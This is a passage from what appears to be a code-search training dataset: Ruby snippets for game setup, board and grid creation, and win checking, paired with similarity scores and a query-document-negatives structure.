"def initialize!\n $sfxengine = SoundEngine.new\n\n GameMode.enter_name_input =\n Text.new(\n Settings.winX/2,\n Settings.winY/2,\n Settings.fontsize,\n Color.new(0, 255, 0, 0.8),\n Settings.fontfile,\n \"\")\n GameMode.enter_name_headline =\n Text.new(\n Settings.winX/2,\n Settings.winY*0.35,\n Settings.fontsize,\n Color.new(0, 255, 0, 0.8),\n Settings.fontfile,\n \"enter name\")\n\n GameMode.fader = Rect.new(0, 0, Settings.winX, Settings.winY)\n GameMode.fader.colors = ColorList.new(4) { |i| Color.new(0, 0, 0, 0.8) }\n\n @ingame_timer = Timer.new\n @external_timer = Timer.new\n @engine_running = true\n @score_object = Score.new\n\n $gfxengine.prepare # TODO put to end, remove things mouse depends on!\n @mouse = Mouse.new(100, 100, Settings.mousedef)\n @score_object.cur_level = 0\n start_level @score_object.cur_level\n @textbuffer = \"\"\n GameMode.set_mode(GameMode::NORMAL)\n end",
"def playGame\n #start the opening of the game\n #introduce the rules, ask for human or computer etc\n self.opening()\n\n end",
"def initialize\n\n $scene = self\n\n # Prep model\n @map = Game_Map.new\n @player = Game_Player.new\n\n # Make viewports - Also in the scene\n @vp_under = Viewport.new(0,0,$game.width,$game.height)\n @vp_under.z = 0\n @vp_main = Viewport.new(0,0,$game.width,$game.height) \n @vp_main.z = 1000\n @vp_weather = Viewport.new(0,0,$game.width,$game.height)\n @vp_weather.z = 1999\n @vp_over = Viewport.new(0,0,$game.width,$game.height)\n @vp_over.z = 2000\n @vp_ui = Viewport.new(0,0,$game.width,$game.height)\n @vp_ui.z = 3000\n \n # Make tilemap\n @panoramas = []\n @tilemap = MapWrap.new(@vp_main)\n \n @characters = [] \n @sparks = []\n @pops = []\n\n # weather in map data\n @weather = nil#Weather.new(@vp_over)\n @fogs = []\n\n # Misc Overlay\n @overlay = Sprite.new(@vp_over)\n @overlay.bitmap = Bitmap.new($game.width,$game.height)\n @overlay.bitmap.fill(Color.new(0,0,0))\n @overlay.opacity = 0\n @overlay.z = 999\n\n # Fadeout\n @black = Sprite.new(@vp_over)\n @black.bitmap = Bitmap.new($game.width,$game.height)\n @black.bitmap.fill(Color.new(0,0,0))\n @black.opacity = 0\n @black.z = 1000\n \n # UI\n @hud = nil # Define in sub\n \n end",
"def begin_game\n\t\t#Does this need really to be stored in a variable?\n\t\tg = Game.new(@name)\n\tend",
"def play\n greeting\n get_tiles\n move_sequence\n end",
"def render game\n raise NotImplementedError\n end",
"def play_game\r\n\r\n Console_Screen.cls #Clear the display area\r\n\r\n #Assign the player and dealer an initial starting card\r\n playerHand = get_new_card\r\n dealerHand = get_new_card\r\n\r\n #Call the method responsible for dealing new cards to the player\r\n playerHand = complete_player_hand(playerHand, dealerHand)\r\n\r\n #If the player has not gone bust, call the method responsible for managing\r\n #dealer's hand\r\n if playerHand <= 21 then\r\n dealerHand = play_dealer_hand(dealerHand)\r\n end\r\n\r\n #call the method responsible for determining the results of the game\r\n determine_winner(playerHand, dealerHand)\r\n\r\n end"
] | [
"0.8106771",
"0.8106771",
"0.8106771",
"0.8106771",
"0.8106771",
"0.81066614",
"0.81066614",
"0.78415847",
"0.77224153",
"0.76907516",
"0.76022905",
"0.7514626",
"0.7507942",
"0.74946874",
"0.74578017",
"0.74550825",
"0.7336176",
"0.7253358",
"0.72449386",
"0.7238199",
"0.7230481",
"0.7161856",
"0.71598893",
"0.7154426",
"0.71089965",
"0.71038806",
"0.7090158",
"0.6983733",
"0.6960084",
"0.69432527",
"0.6921327",
"0.6911707",
"0.6910918",
"0.690759",
"0.6907389",
"0.6903957",
"0.688191",
"0.68782",
"0.6873525",
"0.68726707",
"0.6865062",
"0.68620664",
"0.6848343",
"0.68473136",
"0.6845083",
"0.6844282",
"0.6837978",
"0.6836738",
"0.6824766",
"0.6822157",
"0.68142676",
"0.6804342",
"0.68032837",
"0.6791407",
"0.67763436",
"0.67684",
"0.6763084",
"0.67533565",
"0.6750925",
"0.67470807",
"0.6738468",
"0.67342126",
"0.6725987",
"0.6725987",
"0.6725987",
"0.6725987",
"0.6725987",
"0.6725987",
"0.6725987",
"0.6724954",
"0.67227715",
"0.67177314",
"0.6703843",
"0.67016894",
"0.6698448",
"0.66942686",
"0.66924673",
"0.6688626",
"0.66725004",
"0.6666666",
"0.66558933",
"0.66514736",
"0.66275686",
"0.6626675",
"0.6622641",
"0.6610963",
"0.66018414",
"0.6601801",
"0.6597201",
"0.65969706",
"0.6591399",
"0.6584798",
"0.6576293",
"0.6557166",
"0.6555791",
"0.6543318",
"0.6541912",
"0.6540867",
"0.65391725",
"0.6524267",
"0.6504988"
] | 0.0 | -1 |
Creates empty 33 grid | def initialize
@empty_cell = '_'
@board = Array.new(3) {Array.new(3,@empty_cell)}
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def create_grid\n grid = Array.new(6, Array.new(7, BLANK))\n end",
"def make_grid\n @grid = Array.new(4){Array.new(4)}\n end",
"def initiate_grid\n new_grid = []\n @width.times do |x|\n new_grid[x] = []\n @height.times do |y|\n new_grid[x][y] = 0\n end\n end\n new_grid\n end",
"def generate_grid\n grid = []\n @y.times do\n row = []\n @x.times do\n row << nil\n end\n grid << row\n end\n grid\n end",
"def build_grid size\n self.tiles.clear\n size.to_i.times do |row|\n size.to_i.times do |column|\n self.tiles.build({\n x: column,\n y: row\n })\n end\n end\n end",
"def initialize\n @grid = []\n (0..5).each do |row|\n @grid[row] = []\n (0..6).each do |col|\n @grid[row][col] = \"_ \"\n end\n end\n end",
"def setup_grid\n empty_rows\n [:white, :light_yellow].each do |color|\n back_rows(color)\n pawn_rows(color)\n end\n end",
"def create\n (0..7).each do |row|\n @board << []\n (0..7).each do |col| \n @board[row] << \"[ ]\"\n end\n end\n end",
"def create_grid\n grid = Array.new(8) { Array.new(8) { [] } }\n grid.map! do |row|\n if grid.index(row).even?\n row.each { |space| row.index(space).even? ? space << 'white' : space << 'black' }\n else\n row.each { |space| row.index(space).even? ? space << 'black' : space << 'white' }\n end\n row.map! do |space|\n space << [grid.index(row), row.index(space)]\n end\n end\n grid.reverse\n end",
"def build_grid\n header = [\" \", \" a \", \" b \", \" c \", \" d \", \" e \", \" f \", \" g \", \" h \"]\n grid_display = @board.grid.map.with_index do |row, index|\n [8 - index] + build_row(row, index)\n end\n grid_display.unshift(header)\n end",
"def default_grid\n array = Array.new(8) { Array.new(8) }\n\n array[0][0] = Rook.new('white', [0,0], 'slide')\n array[1][0] = Knight.new('white', [1,0], 'step')\n array[2][0] = Bishop.new('white', [2,0], 'slide')\n array[3][0] = Queen.new('white', [3,0], 'slide')\n array[4][0] = King.new('white', [4,0], 'step')\n array[5][0] = Bishop.new('white', [5,0], 'slide')\n array[6][0] = Knight.new('white', [6,0], 'step')\n array[7][0] = Rook.new('white', [7,0], 'slide')\n array[0..7].each_with_index { |column, index| \n column[1] = Pawn.new('white', [index,1], 'step') }\n\n array[0][7] = Rook.new('black', [0,7], 'slide')\n array[1][7] = Knight.new('black', [1,7], 'step')\n array[2][7] = Bishop.new('black', [2,7], 'slide')\n array[3][7] = Queen.new('black', [3,7], 'slide')\n array[4][7] = King.new('black', [4,7], 'step')\n array[5][7] = Bishop.new('black', [5,7], 'slide')\n array[6][7] = Knight.new('black', [6,7], 'step')\n array[7][7] = Rook.new('black', [7,7], 'slide')\n array[0..7].each_with_index { |column, index| \n column[6] = Pawn.new('black', [index,6], 'step') }\n\n array\n end",
"def setup_grid(skip_render, skip_set_pieces)\n @grid = Array.new(8) { Array.new(8) { EmptySquare.new } }\n unless skip_set_pieces\n set_major_minor\n set_pawns\n end\n\n render unless skip_render\n end",
"def fill_temp_grid\n temp_width = @width + 2\n temp_height = @height + 2\n\n temp_width.times do |x|\n @temp_grid[x] = []\n temp_height.times do |y|\n @temp_grid[x][y] = 0\n end\n end\n end",
"def initialize\n\t\t @grid = []\n\t\t 9.times { @grid << \" \" }\n\t\tend",
"def initialize\n\t\t@rows = 8\n\t\t@cols = 8\n\t\t@grid = Array.new(rows) { Array.new(cols) }\n\tend",
"def create_board\n\n 8.times do |row|\n 8.times do |col|\n new_cell = Cell.new([col + 1, row + 1])\n @@cells.push(new_cell)\n end\n end\n\n end",
"def initialize (width=7)\n @grid = Array.new(width) {[]}\n\n end",
"def create_board\n cols = Array.new(7) { Array.new(6, 0) }\n cols\n end",
"def build_grid\n x = 0\n 10.times do\n row = []\n y = 0\n 10.times do\n row.push({display: \"~~\", ship: false, coord: [x, y]})\n y += 1\n end\n self.grid << row\n x += 1\n end\n p self.grid\n end",
"def default_grid\n Array.new(3) { Array.new(3) {Cell.new} }\n end",
"def prepare_grid\n\t\tArray.new(rows) do |row|\n\t\t\tArray.new(columns) do |col|\n\t\t\t\tCell.new(row, col)\n\t\t\tend\n\t\tend\n\tend",
"def initialize\n\t\t@grid = Array.new(10){Array.new(10)}\n\tend",
"def create_board\n\t\t8.times{|x| @board.push([nil,nil,nil,nil,nil,nil,nil,nil])}\n\t\tpopulate_board\n\tend",
"def initialize \n @rows = 8\n @columns = 8\n @grid = create_board\n end",
"def generate_grid x = @x, y = @y\n new_grid = []\n\n y.times { new_grid << [] }\n new_grid.each do |array|\n x.times do\n array << []\n end\n end\n end",
"def create_grid\n @grid = {\"1a\" => \" \", \"1b\" => \" \", \"1c\" => \" \", \"1d\" => \" \", \"1e\" => \" \",\n \"2a\" => \" \", \"2b\" => \" \", \"2c\" => \" \", \"2d\" => \" \", \"2e\" => \" \",\n \"3a\" => \" \", \"3b\" => \" \", \"3c\" => \" \", \"3d\" => \" \", \"3e\" => \" \",\n \"4a\" => \" \", \"4b\" => \" \", \"4c\" => \" \", \"4d\" => \" \", \"4e\" => \" \",\n \"5a\" => \" \", \"5b\" => \" \", \"5c\" => \" \", \"5d\" => \" \", \"5e\" => \" \"}\n end",
"def default_grid\n Array.new(7) { Array.new(6) { Cell.new } }\n end",
"def default_grid\n Array.new(7) { Array.new(6) { CellNode.new }}\n end",
"def grid(n, m)\n Array.new(n) { Array.new(n) } # If you attempted to write this as Array.new(n, Array.new(m)) the contents would be repeated for each array rather\nend",
"def three_row_grid\n grid = []\n grid << [\n Cell.new(:alive, 0, 0),\n Cell.new(:alive, 0, 1),\n Cell.new(:dead, 0, 2)\n ]\n grid << [\n Cell.new(:alive, 1, 0),\n Cell.new(:dead, 1, 1),\n Cell.new(:dead, 1, 2)\n ]\n grid << [\n Cell.new(:dead, 2, 0),\n Cell.new(:dead, 2, 1),\n Cell.new(:dead, 2, 2)\n ]\n grid\nend",
"def initialize()\n @grid = []\n @rows = 0\n @cols = 0\n end",
"def gen_array(grid_size)\n\t\ti = 0\n\t\twhile i < grid_size do\n\t\t\t@board_display.push(0)\n\t\t\ti += 1\n\t\tend\n\tend",
"def create_empty(rows, columns)\n @rch = Array.new(rows)\n @gch = Array.new(rows)\n @bch = Array.new(rows)\n \n 0.upto rows-1 do |r|\n @rch[r] = Array.new(columns, 0)\n @gch[r] = Array.new(columns, 0)\n @bch[r] = Array.new(columns, 0)\n end \n end",
"def initialize\n @piece_count = 0\n\n @grid = []\n (0..6).each do |col|\n @grid[col] = []\n (0..5).each do |row|\n @grid[col][row] = \"-\"\n end\n end\n end",
"def start_grid\n Array.new(@lines) { Array.new(@columns) { Cell.new } }\n end",
"def create_grid\n spaces = create_spaces\n assign_spaces_to_rows.map do |row|\n row.each.with_index do |coordinates, index|\n row[index] = {coordinates => spaces[coordinates]}\n end\n end\n end",
"def grid\n Matrix.build(@row_count, @column_count) { Cell.new }.to_a\n end",
"def initialize(size = 3)\n @size = size\n @grid = Array.new(size) { Array.new(size) }\n end",
"def cells_grid_1by1\n [\n [\n MazeMagic::Maze::Edge.instance,\n MazeMagic::Maze::HorizontalWall.instance,\n MazeMagic::Maze::Edge.instance\n ],\n [\n MazeMagic::Maze::VerticalWall.instance,\n MazeMagic::Maze::HorizontalWall.instance,\n MazeMagic::Maze::VerticalWall.instance\n ]\n ]\n end",
"def initialize\n @grid = empty_board\n end",
"def grid(n, m)\n arr = Array.new(n) { Array.new(m, :N) }\n arr\nend",
"def create_matrix\n @long.times do |long|\n @matriz.push([])\n @width.times do |_width|\n @matriz[long].push([' . ', ' * '].sample)\n end\n end\n kill_cells_in_borders\n end",
"def create_grid(board_array)\n\t# split into triplets\n\ttriplets_array = []\n board_array.each { |array| triplets_array << array.each_slice(3).to_a }\n\n # shuffle the triplets\n shuffle_container = [[], [], []]\n 9.times do |row|\n 3.times do |column|\n current_array = triplets_array[row][column]\n shuffle_container[column] << current_array\n end\n end\n\n # flatten and re-split\n final_array = []\n shuffle_container.flatten.each_slice(9) { |array| final_array << array }\n\n return final_array\nend",
"def initial_piece_placements\n self.grid.each_with_index do |row, row_idx|\n row.each_with_index do |cell, cell_idx|\n pos = [row_idx, cell_idx]\n if pos.all? {|coord| coord.even?} || pos.all? {|coord| coord.odd?}\n if row_idx < 3\n self[pos] = Piece.new(self, pos, :white)\n elsif row_idx >= 5\n self[pos] = Piece.new(self, pos, :black)\n end\n end\n end\n end\n end",
"def generate\n for i in 0..$dimensions[0]-1\n for j in 0..$dimensions[1]-1\n for k in 0..$d-1\n item=populate k\n if item!=0 \n $grid[[i,j,k]]=item\n end\n end\n end\n end\nend",
"def make_board\n @grid = Array.new(9) { | row | Array.new(9) { | col | Tile.new(self, [row, col]) } }\n self.place_bombs\n @grid.map.with_index do | row, rowIndx |\n row.map.with_index { | tile, colIndx | tile.neighbors_bomb_count if !(self.is_a_bomb?([rowIndx, colIndx])) }\n end\n end",
"def reset!\n # can't set it to cells for some reason\n @cells = Array.new(grid_size) { Array.new(grid_size, \" \")}\n end",
"def grid\n \t\t\tfinal, y = Array.new, 0\n \t\t\t@@axis.fetch(:y).times do\n \t\t\t\tfinal[y], x = Array.new, 0\n \t\t\t\t@@axis.fetch(:x).times do\n \t\t\t\t\tfinal[y][x] = init_coord(x, y)\n \t\t\t\t\tx += 1\n \t\t\t\tend\n \t\t\t\ty += 1\n\t\t\tend\n\t\t\tfinal.reverse\n\t\tend",
"def initialize(width=30, height=30, random=true, random_seed=[true,false].to_a)\n\n @width=width\n @height=height\n\n #create an array\n @cells = ConwayModel::create_grid(width, height, random, random_seed)\n end",
"def setup_board!\n\t\t@board = Array.new($dimensions[:y]){ Array.new($dimensions[:x]) {:empty} }\n\tend",
"def empty_rows\n rows = [2, 3, 4, 5]\n\n rows.each do |row|\n @grid[row].map! { EmptyPiece.new }\n end\n end",
"def create_board(size, num_mines)\n\t\tfinal_board = []\n\t\t# Create outer loop\n\t\t1.upto(size) do |row|\n\t\t\trow_buffer = []\n\t\t\t# Create inner loop\n\t\t\t1.upto(size) do |column|\n\t\t\t\trow_buffer << Square.new([column,((size+1)-row)], size)\n\t\t\tend\n\t\t\t# Once each row is composed add it to \n\t\t\t# the final board.\n\t\t\tfinal_board << row_buffer\n\t\tend\n\t\tset_mines(final_board, num_mines) # Now that we have the board, lets add some mines\n\t\tfinal_board\n\tend",
"def grids\n [grid].compact\n end",
"def populate_grid\n start_rows = { red: (0..2), black: (5..7) }\n\n 8.times do |x|\n 8.times do |y|\n [:red, :black].each do |color|\n if (x + y).even? && start_rows[color].include?(y)\n self[[x, y]] = Piece.new(color, [x, y], self)\n end\n end\n end\n end\n\n grid.each_with_index do |row, y|\n row.each_with_index do |cell, x|\n puts \"x=#{x}, y=#{y}, cell.class=#{cell.class}\"\n end\n end\n end",
"def initialize(fill_board = true)\n @grid = Array.new(8) { Array.new(8) }\n\n setup_grid if fill_board\n end",
"def create_cells\n (\"A\"..@height).each do |rows|\n (1..@width.to_i).each do |column|\n k=\"#{rows}#{column}\"\n cells[k]=Cell.new(k)\n end\n end\n cells\n end",
"def grid\n rows = []\n (1..self.height).to_a.each do |h|\n rows << row(h)\n end\n rows.reverse\n end",
"def create_board\n (1..(@width * @width).to_i).each do |i|\n values = i <= @amount_mines ? @bomb : @empty\n @board.push({\n value: values,\n revealed?: false\n })\n end\n @board.shuffle!\n @board\n end",
"def make_blank_graph\n ISSUE_NAMES.each_with_index {|name, i| @nodes[i] = Graph::Node.new(i, name, \"\") unless name.blank? }\n\n #testing\n #@edges[1] = Graph::Edge.new(1, @nodes[0], @nodes[3], MapvisualizationsHelper::INCREASES)\n\n @nodes[START].location = Vector[(@width-200)/2, @height/2] #pull out Menhaden Population and center\n grid_nodes_in_box(@nodes.reject{|k,v| k==START},Vector[@width-200+50, 130],Vector[200, @height-130+50]) #hard-coded starting box\n end",
"def grid_builder(m, n)\n ## Builds a grid MXN filled with 1's.\n grid = Array.new(m) { Array.new(n) {1} }\n ## m times randomly populate it with some 0's\n m.times { grid[rand(m)][rand(n)] = 0 }\n\n ## Using for manual testing\n # grid[0][0] = 0\n # grid[1][0] = 0\n # grid[2][0] = 0\n # grid[3][0] = 0\n\n cols_to_zero = []\n rows_to_zero = []\n\n #Go through columns\n grid.each do |array|\n array.each_with_index do |element, index|\n if element == 0\n cols_to_zero << index\n end\n end\n end\n\n #Go through Rows\n grid.each_with_index do |array, index|\n if array.include?(0)\n rows_to_zero << index\n end\n end\n\n ## Make the deletions\n ## For each of the columns in cols_to_zero amend the grid to zero's.\n for i in cols_to_zero.uniq\n 0.upto(grid.size - 1) do |row|\n grid[row][i] = 0\n end\n end\n\n ## For each of the values in the rows_to_zero array amend the existing grid using map!\n for i in rows_to_zero.uniq\n grid[0].map! { |element| 0 }\n end\n\n grid\nend",
"def generate_empty_board\n puts \" 1 2 3\"\n puts \" A #{a1 = ' '} | #{a2 = ' ' } | #{a3 = ' '} \"\n puts separator = \" \"*4 + \"─\"*11\n puts \" B #{b1 = ' '} | #{b2 = ' '} | #{b3 = ' '} \"\n puts separator\n puts \" C #{c1 = ' '} | #{c2 = ' '} | #{c3 = ' '} \"\n end",
"def create_board(size)\n return (0...size).map{|b| (0...size).map{|bb| 0}}\n end",
"def new_board_grid\n unicode = 65\n @board_matrix.each do |array|\n @board_matrix.each_with_index do |_element, i|\n array[i] = \" #{unicode.chr} \"\n unicode += 1\n end\n end\n end",
"def map_board\n\t\t@cell_at = []\n\t\t@height.times do |row|\n\t\t\t@cell_at[row] = []\n\t\t\t@width.times do |col|\n\t\t\t\t@cell_at[row][col] = Cell.new\n\t\t\tend\n\t\tend\n\tend",
"def empty_puzzle\n result = []\n @amount_row.times do |index|\n result << [0]*@amount_column\n end\n result\n end",
"def board\n count = 0\n while count < 9\n @board_grid.each do |row|\n if count % 3 == 0\n p \"---------------------\"\n end\n p \"#{row[0]} #{row[1]} #{row[2]} | #{row[3]} #{row[4]} #{row[5]} | #{row[6]} #{row[7]} #{row[8]}\"\n count += 1\n end\n end\n p \"---------------------\"\n end",
"def tile_board\n @board_array.each_with_index do |row_array, row|\n 10.times{|column| row_array << Tile.new(row,column)}\n end\n end",
"def make_board\n board = Array.new(8) { Array.new(8) { Array.new(2) } }\n board.each_with_index do |row, row_i|\n row.each_with_index { |column, column_i| column[0], column[1] = row_i, column_i }\n end\n end",
"def new_board\n board = []\n 8.times do |row|\n board << case row\n when 0\n add_back_row(\"white\", row)\n when 1\n add_pawn_row(\"white\", row)\n when 6\n add_pawn_row(\"black\", row)\n when 7\n add_back_row(\"black\", row)\n else\n Array.new(8)\n end\n end \n board\n end",
"def generate_starting_live_cells\n\t\tcells = []\n\t\tcell_count.times do\n\t\t\tstart_x = rand(size) # [0..4]\n\t\t\tstart_y = rand(size) # [0..4]\n\t\t\tcell = Cell.new(start_x, start_y)\n\n\t\t\tcells << cell\n\t\t\tupdate_board(cell)\n\t\tend\n\t\tcells\n\tend",
"def create_board\n temp_index = 0\n temp_column1 = Array.new(4) { 'O' }\n temp_column2 = Array.new(4) { 'O' }\n @board = []\n 10.times do\n @board << [temp_column1, temp_column2, \"Turn:#{temp_index += 1}\"]\n end\n @board\n end",
"def represent\n # grid_array will be an array of strings that represent our grid in NxN format\n grid_array=[]\n @h.times{|r| grid_array<<@grid[r*@w,@w].split('')*' '}\n grid_array\n end",
"def create_board(x)\r\n @board = Array.new\r\n x.times do\r\n @board.push(\"_\")\r\n end\r\n end",
"def initialize(seeds)\n @grid = Array.new(9) { Array.new(9, nil) }\n @rows = {}\n @columns = {}\n @squares = {}\n 1.upto(9) do |i|\n @rows[i] = Hash.new(false)\n @columns[i] = Hash.new(false)\n @squares[i] = Hash.new(false)\n end\n seed_board(seeds)\n end",
"def initialize(setup)\n @grid = Array.new(8) { Array.new(8, nil)}\n\n if setup\n setup_pieces\n end\n end",
"def generate_nodes!\n 7.times do |index|\n game.nodes.create(\n position: index,\n land_ids: land_ids_for_node(index)\n )\n end\n end",
"def generate_board\n [0, 1, 2].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :B) if offset.odd?\n end\n end\n\n [5, 6, 7].each do |row|\n 0.upto(7) do |col|\n offset = row + col\n self[[row, col]] = Piece.new([row, col], self, :W) if offset.odd?\n end\n end\n end",
"def place_pawn_first_rows\n 8.times { |col| self[[1, col]] = Pawn.new(self, :black, [1, col]) }\n 8.times { |col| self[[6, col]] = Pawn.new(self, :white, [6, col]) }\n end",
"def populate_board\n rows_of_pieces = (size - 2) / 2\n make_pieces([0, 1], 'red', rows_of_pieces, 1)\n make_pieces([size - 1, 0], 'black', rows_of_pieces, -1)\n end",
"def populateGrid\n\n\t\t@grid.matrix.each_with_index do | row, i |\n\n\t\t\trow.each_with_index do | col, j |\n\n\t\t\t\t@grid.matrix[i][j] = Cell.new(i, j, false)\n\t\t\tend\n\t\tend\n\tend",
"def display_dummy\n\t\tdummy_board = Array.new(3) {Array.new(3)}\n\t\tputs \"\\n\"\n\t\tputs \" 1 | 2 | 3 \"\n\t\tputs \"-----------\"\n\t\tputs \" 4 | 5 | 6 \"\n\t\tputs \"-----------\"\n\t\tputs \" 7 | 8 | 9 \"\n\t\tputs \"\\n\"\n\tend",
"def render_grid\n\t\t@grid_w.times.with_index do |x|\n\t\t\t@grid_h.times.with_index do |y|\n\t\t\t\tif !@has_enviroment_rendered\n \t \t\trender_wall x, y if @grid[x][y]==1\n\t\t\t\tend\n\t\t \trender_player x, y if @grid[x][y]==2\n \tend\n end\n #each_cell do |x, y, v|\n # render_wall x, y if !@has_environment_rendered && v == 1 \n # render_player x, y if v == 2\n #end\n\t\t@has_enviroment_rendered = true\n\tend",
"def create_board\n\t\t@board = Hash.new\n\t\t(0..7).each do |x|\n\t\t\t@board[x] = []\n\t\t\t(0..7).each do |y|\n\t\t\t\t@board[x][y] = Square.new([x, y])\n\t\t\tend\n\t\tend\n\tend",
"def gen_cells args = {}\n\t\t\tx = args[:x] || 0\n\t\t\ty = args[:y] || 0\n\t\t\tw = args[:w] || 32\n\t\t\th = args[:h] || 32\n\n\t\t\tcell_count = {\n\t\t\t\tx: (current_room.w.to_f / w.to_f).floor,\n\t\t\t\ty: (current_room.h.to_f / h.to_f).floor\n\t\t\t}\n\n\t\t\treturn cell_count[:y].times.map do |row|\n\t\t\t\tnext cell_count[:x].times.map do |col|\n\t\t\t\t\tnext Cell.new(\n\t\t\t\t\t\tx: (w * col),\n\t\t\t\t\t\ty: (h * row),\n\t\t\t\t\t\tw: w, h: h,\n\t\t\t\t\t\tindex: { x: col, y: row },\n\t\t\t\t\t\tsolid: false\n\t\t\t\t\t)\n\t\t\t\tend\n\t\t\tend .flatten\n\t\tend",
"def fill_board\n MAXY.times do |t|\n @board << Array.new(MAXX, 0) if @board[t].nil?\n end\n\n @board.map! do |row|\n row << [0] * (MAXX - row.size)\n row.flatten\n end\n end",
"def initialize(grid_size)\n @grid_size = grid_size\n @cell_ct = (grid_size * 2) + 1\n @board = Array.new(cell_ct){Array.new(cell_ct)}\n\n populate_board_guide(board)\n end",
"def initialize( w=DEFAULT_WIDTH, h=DEFAULT_HEIGHT, s=DEFAULT_SEED )\n \t @width = w\n\t @height = h\n\t @seed = s\n\n\t srand(@seed)\n\n\t @grid = Array.new(h) { Array.new(w,0) }\n end",
"def generate_grid(grid_size)\n # TODO: generate random grid of letters\n alphabet = (\"A\"..\"Z\").to_a\n grid = []\n grid_size.times { grid.push(alphabet[rand(1...alphabet.length)]) }\n grid\n end",
"def starting_board\n init_rows([0, 2], :black)\n init_rows([5, 7], :red)\n end",
"def generateBoard()\n board = []\n\n (1..@board.rows).each do |r|\n row = []\n (1..@board.cols).each { |c| row.push('X') }\n board.push(row)\n end\n\n board\n end",
"def _grid\n b = Bitmap.new(360, 360)\n c1, c2 = Color.new(255, 255, 255), Color.new(0, 0, 0)\n b.fill_rect(0, 0, 48, 48, c1)\n b.fill_rect(24, 0, 24, 24, c2)\n b.fill_rect(0, 24, 24, 24, c2)\n c1.alpha = c2.alpha = 128\n b.fill_rect(1, 25, 22, 22, c1)\n b.fill_rect(25, 1, 22, 22, c1)\n b.fill_rect(1, 1, 22, 22, c2)\n b.fill_rect(25, 25, 22, 22, c2)\n b.blt(48, 0, b, Rect.new(0, 0, 48, 48))\n b.blt(0, 48, b, Rect.new(0, 0, 96, 48))\n b.blt(96, 0, b, Rect.new(0, 0, 96, 96))\n b.blt(0, 96, b, Rect.new(0, 0, 192, 96))\n b.blt(192, 0, b, Rect.new(0, 0, 192, 192))\n b.blt(0, 192, b, Rect.new(0, 0, 384, 192))\n return b\n end",
"def initialize\n @board = (0...8).map { [nil] * 8 }\n populate_board\n\n\tend",
"def create_board\n b = Hash.new\n for i in 1..7\n for j in 1..6\n b[[i,j]] = @empty_sign\n end\n end\n return b\n end",
"def populate_board(board)\n #Fills in the top and bottom rows\n [0, 7].each do |row|\n 4.times do |col|\n board[row][col] = create_piece(row, col)\n board[row][(7-col)] = create_piece(row, (7-col))\n end\n end\n\n #Fills in the pawns\n 8.times do |col|\n board[1][col] = BlackPawn.new(1, col)\n board[6][col] = WhitePawn.new(6, col)\n end\n\n board\n end",
"def print_grid # prints 3 X 3 grid with values\n puts \"\\n\"\n @grid.each_slice(3) { |row| puts row.join(' | ') }\n puts \"\\n\"\n end",
"def initializeBoard()\n #\n # TO DO: complete this method\n #\n for j in 0...@size\n for i in 0...@size\n @board[j][i]=EMPTY\n end\n end\n center = (@size/2)-1\n @board[center][center] = BLACK\n @board[center+1][center+1] = BLACK\n @board[center+1][center] = WHITE\n @board[center][center+1] = WHITE\n\n\n\n\n end",
"def initialize(filled = true, rows = nil)\n @grid = (rows.nil?) ? Array.new(8) { Array.new(8) } : rows\n\n fill_rows if filled and rows.nil?\n end",
"def initialize(grid=empty_grid)\n @grid = grid\n end",
"def reset(cols, rows)\n\n\t@cols = cols.to_i.abs\n\t@rows = rows.to_i.abs\n\t@created = true\n\n\tx = 0\n\tuntil x > @rows\n\t y = 0\n\t until y > @cols\n\t\tset_pixel(\"#{y}-#{x}\", COLOR_WHITE)\n\t\ty = y+1\n\t end\n\t x = x+1\n\tend\n\n end",
"def create_grid_from_size(size_arr)\n rows = size_arr[0]\n columns = size_arr[1]\n Array.new(rows) { Array.new(columns) }\n end"
] | [
"0.8337554",
"0.7875011",
"0.77378476",
"0.7728108",
"0.73936",
"0.7378149",
"0.73522985",
"0.7288738",
"0.7262049",
"0.7212891",
"0.72022575",
"0.716695",
"0.7166529",
"0.7146262",
"0.71131134",
"0.7113055",
"0.7106074",
"0.7102929",
"0.70797837",
"0.7061313",
"0.7059399",
"0.7002121",
"0.69973373",
"0.69948196",
"0.6974615",
"0.6972468",
"0.6946053",
"0.6930444",
"0.692787",
"0.6921381",
"0.6910379",
"0.68631905",
"0.6859409",
"0.68361324",
"0.683065",
"0.6819886",
"0.6798712",
"0.674894",
"0.6732466",
"0.672727",
"0.6689283",
"0.66726446",
"0.6670739",
"0.66642976",
"0.6604684",
"0.6601474",
"0.6598632",
"0.65958744",
"0.6588243",
"0.6574415",
"0.65711576",
"0.6532194",
"0.6531307",
"0.6530272",
"0.652933",
"0.65153325",
"0.64880294",
"0.6487793",
"0.6484491",
"0.64569986",
"0.64454067",
"0.644175",
"0.6439329",
"0.64392567",
"0.6435627",
"0.6428584",
"0.6426046",
"0.6409543",
"0.6396863",
"0.638936",
"0.638849",
"0.6382551",
"0.6378783",
"0.6376021",
"0.6373532",
"0.6363688",
"0.6360784",
"0.6358855",
"0.63567793",
"0.63430786",
"0.6320477",
"0.63145894",
"0.6310833",
"0.6310226",
"0.6291965",
"0.6280531",
"0.6273898",
"0.6269541",
"0.6265086",
"0.62601864",
"0.6251863",
"0.6246284",
"0.6245114",
"0.6241817",
"0.62363267",
"0.62339145",
"0.6233402",
"0.6230046",
"0.62249947",
"0.62133574"
] | 0.6486024 | 58 |
Checks if a player has won | def checkWin(sym, name)
if board[0].all? {|cell| cell.to_s == sym}
puts name + ' has won!'
return true
elsif board[1].all? {|cell| cell.to_s == sym}
puts name + ' has won!'
return true
elsif board[2].all? {|cell| cell.to_s == sym}
puts name + ' has won!'
return true
elsif board[0][0] == sym && board[1][0] == sym && board[2][0] == sym
puts name + ' has won!'
return true
elsif board[0][1] == sym && board[1][1] == sym && board[2][1] == sym
puts name + ' has won!'
return true
elsif board[0][2] == sym && board[1][2] == sym && board[2][2] == sym
puts name + ' has won!'
return true
elsif board[0][0] == sym && board[1][1] == sym && board[2][2] == sym
puts name + ' has won!'
return true
elsif board[0][2] == sym && board[1][1] == sym && board[2][0] == sym
puts name + ' has won!'
return true
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def won?\n\t\twon = false\n\t\twon = true if (ended? && @guesses > 0)\n\t\twon\n\tend",
"def did_player_win\n (@purses[@current_player] != 6)\n end",
"def won?\n @game.started? && !detectives_won? && detectives_cannot_move?\n end",
